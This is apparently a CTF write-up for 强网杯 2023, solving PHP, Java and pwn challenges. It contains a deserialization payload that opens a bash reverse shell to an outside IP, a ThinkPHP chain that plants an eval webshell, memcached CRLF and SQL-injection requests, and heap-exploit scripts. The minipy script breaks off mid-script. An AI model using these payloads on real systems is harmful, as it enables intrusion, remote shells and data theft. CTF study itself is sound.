强网杯 2023 By W&M
WEB
easyphp
1.题目给出了phpinfo,给出了/var/www/html/b3debcdfb73572a549ac64da1c830d72这个路径可以下载到xcache的mmap缓存文件。
/challenge.php需要提交一个key。
访问challenge.php后下载mmap文件,strings可以得到字符串。
c6d4c9861179fe161d0233e3570998dc
_GET
strlen
wrong answer
str_split
implode
cat /flag
system
2.下载到的缓存文件,里面有很多链表地址和函数(字节码回调函数,没有符号,readelf看不到,但是p/i 0xxxx看一下都是endbr64指令)地址,不能直接加载。
修改源码。编辑xcache\mod_cacher\xc_cacher.c 加上固定地址加载代码,使得链表可以正常加载。
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
void mymmap(){
int file1 = open("/tmp/clean_b3", O_RDONLY);
size_t ro_addr = 0x7fb5ed09c000;
size_t rw_addr = 0x7fb5ed09c000 + 0x4000000;
size_t ro_size=0x4000000;
int mmap1_result = mmap(ro_addr, ro_size, PROT_READ, MAP_PRIVATE| MAP_FIXED, file1, 0);
printf("mmap1_result: %d\n", mmap1_result);
int mmap2_result = mmap(rw_addr, ro_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, file1, 0);
printf("mmap2_result: %d\n", mmap2_result);
}
int is_replaced_1=0;
在这个函数里面加 xc_php_find_unlocked:
if(is_replaced_1 == 0){
is_replaced_1 = 1;
TRACE("1: xc_php_find_unlocked force return fake value %s","");
TRACE("1: size:%d",php->size);
mymmap();
char* ptr = 0x7fb5f10bc1e8;
return ptr;
}else{
TRACE("1: xc_php_find_unlocked have already faked, do not fake again %s","");
}
通过函数指针,因为我们搭建了完全一样的libphp,所以可以推算libphp基址。替换函数指针,让字节码可以正常加载。
(找了一晚上指针。。。我的建议是,关闭靶机,重开,只访问challenge.php不访问info.php,这样得到的mmap是最纯净的)
本地关闭aslr方便调试。
#找mmap基址
from pwn import *
filename = "clean_b3"
with open(filename,"rb") as f:
f.seek(0x20230)
ptr = u64(f.read(8))
# sanity check
f.seek(0x20290)
ptr2 = u64(f.read(8))
assert ptr2 > 0x7f0000000000 and ptr2 < 0x7fffffffffff
delta = 0x20290
root = ptr - delta
print("ptr: " + hex(ptr))
print("delta: " + hex(delta))
print("ro_root: " + hex(root))
assert hex(root).endswith("000")
# 远程开启了 xcache read only protection,因此同一个文件被mmap了两次,一个只读的和一个读写的。
real_rw_root = root + 0x4000000
print("rw_root: " + hex(real_rw_root))
#用函数指针后3位地址找libphp的基址,然后把mmap文件里面远程的函数指针全部替换成本地的函数指针
import re
from pwn import *
remote_file = open("./clean_b3","rb")
remote_data = remote_file.read()
local_file = open("./result3","rb")
local_data = local_file.read()
remote_regex = br'.{3}\xff\xb5\x7f\x00\x00'
local_regex = br'.{3}\xf6\xff\x7f\x00\x00'
findall= re.findall(remote_regex,remote_data)
findall = list(map(u64,findall))
findall_pretty = list(set(list(map(hex,findall))))
print(findall_pretty)
findall_local = re.findall(local_regex,local_data)
findall_local = list(map(u64,findall_local))
findall_local_pretty = list(set(list(map(hex,findall_local))))
print(findall_local_pretty)
for entry in findall_local_pretty:
for remote_entry in findall_pretty:
# if the last 3 bytes are the same
if entry[-3:] == remote_entry[-3:]:
print("match: ",entry,remote_entry)
'''
match: 0x7ffff6d7ebe0 0x7fb5ff0ebbe0
match: 0x7ffff66d93c0 0x7fb5ff0eb3c0
match: 0x7ffff6def080 0x7fb5ff15c080
match: 0x7ffff6df1cf0 0x7fb5ff15ecf0
'''
local_entry = 0x7ffff6d7ebe0
remote_entry = 0x7fb5ff0ebbe0
# local have aslr disabled.
local_base = 0x7ffff6af4000
local_delta = local_entry - local_base
print("local delta: ",hex(local_delta))
remote_base = remote_entry - local_delta
print("remote base: ",hex(remote_base))
替换mmap文件里面的函数指针
import subprocess
from pwn import *
data = open("clean_b3","rb").read()
remote_libphp_base = 0x7fb5fee61000 # changeme
local_libphp_base = 0x7ffff76f6000 # changeme 或者如果你关闭了aslr,理论上会得到和这个一样的本地地址
remote_regex = br'.{3}\xff\xb5\x7f\x00\x00' # changeme
import re
def repl(m):
contents = m.group(0)
remote_ptr = u64(contents)
local_ptr = remote_ptr - remote_libphp_base + local_libphp_base
print(f"replace {hex(remote_ptr)} with {hex(local_ptr)}")
return p64(local_ptr)
data = re.sub(remote_regex, repl, data)
with open("/tmp/clean_b3_mod","bw") as f:
f.write(data)
3.本地搭建完全一样的php版本(差一点都不行,必须完全一样,直接用它那个deb.sury.org源下载,因为有函数指针),并且安装xdebug,自己编译
FROM ubuntu:22.04
ENV TZ=Asia/Shanghai \
DEBIAN_FRONTEND=noninteractive
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \
apt update && apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y && apt install -y php5.6 php5.6-cli
RUN apt install -y php5.6-dev
ADD ./xdebug-2.5.5 /tmp/xdebug
RUN cd /tmp/xdebug \
&& phpize \
&& ./configure --enable-xdebug \
&& make -j$(nproc) \
&& make install \
&& cd /
ADD ./xcache /tmp/xcache
RUN cd /tmp/xcache \
&& phpize \
&& ./configure --enable-xcache --enable-xcache-disassembler \
&& make -j$(nproc) \
&& make install \
&& cd /
COPY xcache.ini /tmp/
COPY challenge.php /var/www/html/
COPY info.php /var/www/html/
RUN cat /tmp/xcache.ini >> /etc/php/5.6/apache2/php.ini && touch /var/www/html/b3debcdfb73572a549ac64da1c830d72 && chmod 777 /var/www/html/b3debcdfb73572a549ac64da1c830d72
# RUN echo 'extension = xcache.so' > /etc/php/5.6/mods-available/xcache.ini
RUN echo 'extension = xcache.so' > /etc/php/5.6/apache2/conf.d/20-xcache.ini
RUN echo 'zend_extension=/usr/lib/php/20131226/xdebug.so' > /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo '[Xdebug]' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.auto_trace=On' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_params=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_return=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_assignments=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_vars=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log && \
ln -sf /proc/self/fd/1 /var/log/apache2/error.log
CMD apachectl -D FOREGROUND -X
docker run --name dump --network=host --privileged --rm -it -v /tmp/clean_b3_mod:/tmp/clean_b3:ro test1
4.运行后,访问本地/challenge.php,则会被替换成题目给出的字节码。
因为xcache里面只有字节码,所以无法导出php源码,调试比较困难。但是xdebug可以正常工作。
利用xdebug trace日志,多次输入测试得知,用户输入key长度需要是32,key的前14个字节会被异或一个key,后18个字节会被异或另一个key,然后与strings看到的字符串c6d4c9861179fe161d0233e3570998dc比较。(字符串会变化)
如果比较正确会system cat /flag。
TRACE START [2023-12-16 17:53:20]
0.0000 232096 -> {main}() /var/www/html/challenge.php:0
0.0001 232440 -> strlen(string(32)) /var/www/html/challenge.php:5
0.0001 232440 >=> 32
0.0001 232440 -> str_split(string(32)) /var/www/html/challenge.php:9
0.0001 238176 >=> array (0 => 'O', 1 => '\032', 2 => 'H', 3 => '\030', 4 => 'O', 5 => '\025', 6 => '\024', 7 => '\032', 8 => '\035', 9 => '\035', 10 => '\033', 11 => '\025', 12 => 'J', 13 => 'I', 14 => '�', 15 => '�', 16 => '�', 17 => '�', 18 => '�', 19 => '�', 20 => '�', 21 => '�', 22 => '�', 23 => '�', 24 => '�', 25 => '�', 26 => '�', 27 => '�', 28 => '�', 29 => '�', 30 => '�', 31 => '�')
0.0001 238472 -> implode(array(32)) /var/www/html/challenge.php:16
0.0001 241792 >=> 'c6d4c9861179fe161d0233e3570998dc'
0.0001 238552 -> system(string(9)) /var/www/html/challenge.php:17
0.0014 238664 >=> 'flag'
0.0014 238552 >=> 1
0.0015 8368
TRACE END [2023-12-16 17:53:20]
异或是单字节异或固定key,本地通过日志读一下异或后implode的返回值,逆或一次得到key即可。
经过测试是,每次开启靶机,32位长度的字符串会变化。
import requests
rs = requests.Session()
data = b'a'*32
r = rs.get('http://127.0.0.1/challenge.php', params={'key': data})
import subprocess
output = subprocess.check_output("docker exec -it dump bash -c 'cat /tmp/trace*'",shell=True)
import re
regex = re.compile(rb" >=> '(.{32})'")
matched = regex.findall(output)
key_ = matched[0]
key = b''
for i in range(len(key_)):
key += bytes([key_[i] ^ ord('a')])
print(key)
cipher = b'936998e2dbec20ad5a37dc8f06f7d672'
xored_cipher = b''
for i in range(len(cipher)):
xored_cipher += bytes([cipher[i] ^ key[i]])
print(xored_cipher)
r2 = rs.get('http://eci-2ze245ak3rvctqp48pe0.cloudeci1.ichunqiu.com/challenge.php', params={'key': xored_cipher})
print(r2.text)
happygame
grpc_cli cc6
$ echo "{'serializeData': 'rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNekl1TWpNeUxqZ3lMalUwTHpJek16TWdNRDRtTVFvPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='}" | grpc_cli call 8.147.133.72:40518 ProcessMsg --json_input
thinkshop
开局还有个zz东西,就是你的username不是admin
admin=1&password=123456
进入后台,之后就是5.0.x的一条反序列化链子
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
Content-Length: 2500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700560980,1701446760,1702540036,1702548089; PHPSESSID=vv0dcps9gjic3qhnooqk9v36j2
Connection: close
id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d%27YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6NzU6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9c3RhdGljLzw%2FY3VjIEByaW55KCRfVFJHWyduJ10pOyA%2FPiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czo3NToicGhwOi8vZmlsdGVyL3dyaXRlPXN0cmluZy5yb3QxMy9yZXNvdXJjZT1zdGF0aWMvPD9jdWMgQHJpbnkoJF9UUkdbJ24nXSk7ID8%2BIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19fQ%3D%3D%27%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A
遍历post的key。没限制。直接注入任意data
这里反序列化
打个exp
<?php
namespace think\cache\driver;
class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'xige';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
'data_compress' => false
];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}
namespace think\db;
use think\console\Output;
class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}
namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
}
class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;
function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}
$obj = new Windows();
$payload = serialize([$obj]);
echo base64_encode($payload);
修改数据->update data字段。内容是序列化数据。并且get的时候有限制。序列化字符得是是a:开头->访问商品详情触发反序列化。写static webshell
thinkshopping
服务器mysql未做设置,可以任意文件读取,那么我们在admin登录后直接读取flag文件即可。
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
Content-Length: 488
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com/public/index.php/index/admin/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1701446760,1702540036,1702548089,1702783234; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1702786165; PHPSESSID=nucuu7f9vk71ojeseih8eropo4
Connection: close
id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A
在thinkphp的cache->find()方法中有获取缓存的点位
此处肯定是调用了memcache的get指令,并且存在CRLF注入,$key是think:shop.admin|test
test是我们拼贴(username)的地方。
这里比较玄学,用抓包的就可以,自己构造的就不可以,唯一不同的只有时间戳,说明时间戳有点讲究。
1222%00%0d%0aset think:shop.admin|1 0 1702802967 101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a
从memcacheget的$key为think:shop.admin|1 1是我们传入的用户名
找到https://www.freebuf.com/vuls/328384.html
memcached的问题。crlf。
本地设置一个admin。登录抓set memcached的包
最后构造
username=1222%00%0d%0a%73%65%74%20%74%68%69%6e%6b%3a%73%68%6f%70%2e%61%64%6d%69%6e%7c%31%20%34%20%31%37%30%32%38%30%32%39%36%37%20%31%30%31%0d%0a%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%33%32%3a%22%65%31%30%61%64%63%33%39%34%39%62%61%35%39%61%62%62%65%35%36%65%30%35%37%66%32%30%66%38%38%33%65%22%3b%7d%0d%0aquit&password=1
然后username=1&password=123456登录
登录之后。后台sql注入load_file
id=4&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09id%3d4%23&data=%23
PWN
chatting
from pwn import*
import random
import string
context.log_level = "debug"
def add(username):
p.sendlineafter(":","add")
p.sendlineafter("Enter new username:",username)
def switch(ur):
p.sendlineafter(":","switch")
p.sendlineafter("Enter username to switch to: ",ur)
def delete(ur):
p.sendlineafter(":","delete")
p.sendlineafter("Enter username to delete: ",ur)
def message(ur,size,payload):
p.sendlineafter(":","message")
p.sendlineafter("To:",ur)
p.sendlineafter("Message size: ",str(size))
p.sendafter("Content: ",payload)
def listuser():
p.sendlineafter(":","listuser")
def Read():
p.sendlineafter(":","read")
# p = process("./chatting")
p = remote("101.200.122.251",14509)
elf = ELF("./chatting")
libc = elf.libc
p.sendlineafter("username","aaaa")
userList = ["aaaa"]
func_list = ["add","delete","switch","message","read","listuser"]
x = string.ascii_letters + "0123456789"
x = list(x)
def fuzz(num):
for i in range(num):
func = random.choice(func_list)
if func == "switch" and len(userList) != 0 :
p.sendlineafter(":",func)
ur = random.choice(userList)
p.sendlineafter("Enter username to switch to: ",ur)
print("switch('{}')".format(ur))
elif func == "add":
p.sendlineafter(":",func)
# with open("/dev/urandom", "rb") as f:
random_length = random.randint(1, 10)
random_chars = [random.choice(x) for _ in range(random_length)]
username = ''.join(random_chars)
# print(username)
p.sendlineafter("Enter new username:",username)
userList.append(username)
print("add('{}')".format(username))
# f.close()
elif func == "delete" and len(userList) != 0 :
p.sendlineafter(":",func)
ur = random.choice(userList)
p.sendlineafter("Enter username to delete: ",ur)
print('delete("{}")'.format(ur))
userList.remove(ur)
elif func == "message" and len(userList) != 0:
p.sendlineafter(":",func)
size = random.randint(1, 0x200)
random_chars = [random.choice(x) for _ in range(size)]
payload = ''.join(random_chars)
ur = random.choice(userList)
p.sendlineafter("To:",ur)
p.sendlineafter("Message size: ",str(size))
p.sendafter("Content: ",payload)
print("message('{}',{},'{}')".format(ur,str(size),payload))
elif func == "listuser":
p.sendlineafter(":",func)
print("listuser()")
elif func == "read":
p.sendlineafter(":",func)
print("")
for i in range(14):
add(chr(ord('a') + i))
message(chr(ord('a') + i),0x70,'c')
add("X")
add('S')
switch('S')
add('S')
switch('S')
delete("S")
message('S',0x70,'a')
message('S',0x70,'b')
message('S',0x70,'c')
Read()
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - 0x3ebc63
print("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
message("X",0x70,'c')
for i in range(7):
delete(chr(ord('a') + i + 1))
delete("X")
delete("a")
delete("S")
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,p64(free_hook))
message("l",0x70,"/bin/sh")
message("k",0x70,p64(free_hook))
message("k",0x70,p64(libc_base + libc.sym["system"]))
# attach(p)
delete("l")
# delete("S")
p.interactive()
minipy
from pwn import *
# sh = process('./minipy')
sh = remote('120.24.69.11', 18888)
context.log_level = "debug"
context.arch = "amd64"
TYPE_STR = 1
TYPE_NUM = 2
TYPE_LIST = 3
TYPE_DICT = 4
TYPE_FUNCTION = 5
TYPE_NONE = 6
TYPE_MODULE = 7
TYPE_DATA = 8
TYPE_CLASS = 9
TYPE_PTR = 10
def sendcmd(cmd):
sh.sendlineafter(">>> ", cmd)
def gc(c):
sendcmd("x = ['x' * {}]".format(c))
def calc_mov_string(buf):
lst = []
zero_count = 0
for i in buf:
if i == '\x00':
zero_count += 1
else:
if zero_count > 0:
lst.append(zero_count)
zero_count = 0
lst.append(i)
else:
lst[len(lst) - 1] += i
if zero_count > 0:
lst.append(zero_count)
return ' + '.join(
["chr(0) * {}".format(i) if isinstance(i, int) else '"{}"'.format(i.replace('"', '\\"')) for i in lst])
sendcmd("chr")
sh.recvuntil('0x')
heap_addr = int(sh.recvuntil(' '), 16)
list_obj = heap_addr + 0x56d60
list_nodes = heap_addr + 0x489e0
log.success("heap_addr:\t" + hex(heap_addr))
log.success("list_obj:\t" + hex(list_obj))
log.success("list_nodes:\t" + hex(list_nodes))
gc(0x100000)
sendcmd("a = [1, [1] * 0x200]")
sendcmd("b = iter(a)")
sendcmd("a.pop()")
sendcmd("next(b)")
gc(0x100000)
sendcmd("pad1 = 'a' * 0x177")
'''
typedef struct MpList {
int marked;
int len;
int cap;
struct MpObj* nodes;
}MpList;
typedef struct MpObj{
char type;
MpValue value;
} MpObj;
typedef struct MpStr {
int marked;
int stype; /* string type, 1: memory; 0: static */
int len;
int hash;
char *value;
} MpStr;
typedef struct MpData {
int marked;
size_t data_size;
/* for iterator */
long cur;
long inc;
long end;
MpObj cur_obj;
MpObj* (*next)();
/* for gc */
void (*mark)();
void (*func_free)();
/* meta functions */
MpObj (*str)(struct MpData*); //offset: 0x50
MpObj (*get)(struct MpData*, MpObj);
void (*set)(struct MpData*, MpObj, MpObj);
MpObj data_ptr[1];
}MpData;
'''
data_object_offset = 0x70
list_node_array_offset = data_object_offset + 0x20
list_node0_offset = list_node_array_offset + 0x10
list_marked, list_len, list_cap = 0, 1, 1
nodes_marked, nodes_stype, nodes_len, nodes_hash = 0, 2, 8, 0
nodes_type = TYPE_STR
list_obj_buf = flat({
# list obj
data_object_offset: p32(list_marked),
data_object_offset + 4: p32(list_len),
data_object_offset + 8: p32(list_cap),
data_object_offset + 0x10: p64(list_obj + 0x20),
# list node array
list_node_array_offset: p32(nodes_type),
list_node_array_offset + 8: p64(list_obj + 0x20 + 0x10),
# list node[0]
list_node0_offset: p32(nodes_marked),
list_node0_offset + 4: p32(nodes_stype),
list_node0_offset + 8: p32(nodes_len),
list_node0_offset + 0xC: p32(nodes_hash),
list_node0_offset + 0x10: p64(heap_addr + 0x60), # chr pie function
